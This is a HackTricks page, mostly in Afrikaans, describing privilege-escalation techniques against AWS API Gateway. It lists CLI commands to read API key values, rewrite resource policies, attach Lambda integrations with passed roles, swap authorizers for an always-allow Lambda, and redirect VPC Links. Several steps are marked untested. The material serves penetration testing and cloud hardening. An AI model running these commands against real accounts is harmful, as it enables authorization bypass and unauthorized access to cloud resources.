AWS - Apigateway Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Apigateway

Vir meer inligting, sien:

AWS - API Gateway Enum

apigateway:POST

Met hierdie toestemming kan jy API-sleutels genereer vir die geconfigureerde APIs (per streek).

aws --region <region> apigateway create-api-key

Potensiële impak: Jy kan nie privesc met hierdie tegniek nie, maar jy kan dalk toegang tot gevoelige inligting kry.

apigateway:GET

Met hierdie toestemming kan jy die gegenereerde API-sleutels van die gekonfigureerde APIs kry (per streek).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potensiële impak: Jy kan nie met hierdie tegniek privesc uitvoer nie, maar jy kan moontlik toegang tot sensitiewe inligting kry.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Met hierdie permissies is dit moontlik om die resource policy van ’n API te wysig om jouself toegang te gee om dit aan te roep en om potensiële toegang wat die API gateway mag hê te misbruik (soos om ’n kwesbare lambda aan te roep).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potensiële impak: Jy gaan gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy kan moontlik toegang tot sensitiewe inligting kry.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Moet nog getoets word

An attacker with the permissions apigateway:PutIntegration, apigateway:CreateDeployment, and iam:PassRole can voeg ’n nuwe integrasie by ’n bestaande API Gateway REST API met ’n Lambda function wat ’n IAM role aangeheg het. Die attacker kan dan die Lambda function trigger om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne geassosieer met die IAM role te verkry.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële impak: Toegang tot hulpbronne wat geassosieer is met die Lambda-funksie se IAM-rol.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Moet getoets word

An attacker met die permissies apigateway:UpdateAuthorizer en apigateway:CreateDeployment kan ’n bestaande API Gateway authorizer wysig om security checks te bypass (bv. dit na ’n Lambda te herlei wat altyd “allow” terugstuur) of execute arbitrary code wanneer API-versoeke gemaak word.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële impak: Omseiling van sekuriteitskontroles, onbevoegde toegang tot API-hulpbronne.

HTTP APIs / apigatewayv2 variante

Vir HTTP APIs (API Gateway v2) is die ekwivalente operasie om die authorizer via apigatewayv2 by te werk:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Benodig toetsing

’n aanvaller met die toestemming apigateway:UpdateVpcLink kan ’n bestaande VPC Link wysig sodat dit na ’n ander Network Load Balancer wys, wat moontlik privaat API-verkeer na ongemagtigde of kwaadwillige hulpbronne kan herlei.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potensiële impak: Ongemagtigde toegang tot privaat API-hulpbronne, onderskeping of ontwrigting van API-verkeer.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks